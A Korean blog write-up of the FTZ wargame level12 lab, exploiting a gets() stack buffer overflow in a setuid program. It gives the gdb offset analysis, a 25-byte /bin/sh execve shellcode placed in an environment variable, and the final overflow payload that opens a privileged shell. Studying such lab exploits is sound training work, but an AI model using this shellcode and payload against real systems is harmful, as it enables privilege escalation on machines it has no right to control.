FTZ Level12
ID : level12 PW: it is like this
먼저 ls -l
을 이용해 어떤 파일이 있는지 살펴보자
attackme 프로그램에 level13의 권한으로 setuid가 걸려있는 것을 확인할 수 있다.
우선 hint의 내용을 보자cat hint
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
char str[256]; # 256바이트 크기의 문자형 배열
setreuid(3093, 3093); #level13의 프로세스 ID
printf("문장을 입력하세요.\n");
gets(str); #gets 함수로 배열 str에 입력을 받음
printf("%s\n", str); #입력받은 내용 출력
}
gets
함수에서 BOF가 일어날 수 있다!!
우리의 목적을 생각해보자.
버퍼에 버퍼크기보다 넘치는 양을 담아 오버플로우를 일으킨 후 ret까지 도달해 ret에 쉘 코드 주소를 넣을 것이다.
그렇다면..!!!
- str[256]에서 ret까지의 거리 구하기
- 환경변수로 쉘 코드 등록하고 위치 찾는 코드를 짜 주소 확인하기
- ret 위치까지 갈 페이로드 작성하기
- 작성한 페이로드로 공격해 쉘 획득하기!!
attackme 코드를 디버깅해야하기 때문에 tmp폴더로 복사하자.cp attackme tmp
그리고 디버깅을 해보자gdb -q attackme
disas main
<main+3>을 보면 esp에서 0x108만큼 빼고 있다. 여기서 0x108은 10진수로 264이다.
필요한 공간은 str배열의 크기인 256일텐데 왜 264나 자리를 마련했을까?
바로 dummy다! 8byte의 dummy가 존재하는 것이다. (왜 존재할까)
ret전에 sfp 4바이트가 존재할테니 결론적으로 말하면
str에서 ret까지의 거리는 총 268byte이다!
자, 2번으로 넘어가자.
다음과 같이 환경변수를 작성해보자. 쉘 코드는 구글에서 돌아다니는 25byte짜리를 가져왔다.
(다음에 쉘 코드에 대해 더 공부해봐야겠다....)
export shellcode=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
이제 쉘 코드의 주소를 알아보자vi shell.c
vi로 쉘 주소 알아내는 코드를 작성해보자
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[1]){
printf("%p\n", getenv("shellcode"));
return 0;
}
그리고 만든 c코드를 컴파일 한 후 gcc -o shell shell.c
실행시킨다!./shell
그럼 주소가 떨어진다
필자의 경우 0xbffffef4였다.
이제 페이로드를 작성해보자.
페이로드는 (python -c 'print "A"*268+"\xf4\xfe\xff\xbf";cat)|./attackme
가 될 것이다.
(주소는 little endian 방식으로 입력된다)cd ..
다시 원래 디렉토리로 되돌아가서
공격 실시!(python -c 'print "A"*268+"\xf4\xfe\xff\xbf";cat)|./attackme
my-pass
로 비밀번호를 물어보면
Level13 Password is "~~". 라고 나올 것이다!!
'Security > FTZ' 카테고리의 다른 글
FTZ level14 (0) | 2021.03.05 |
---|---|
FTZ level13 (0) | 2021.03.05 |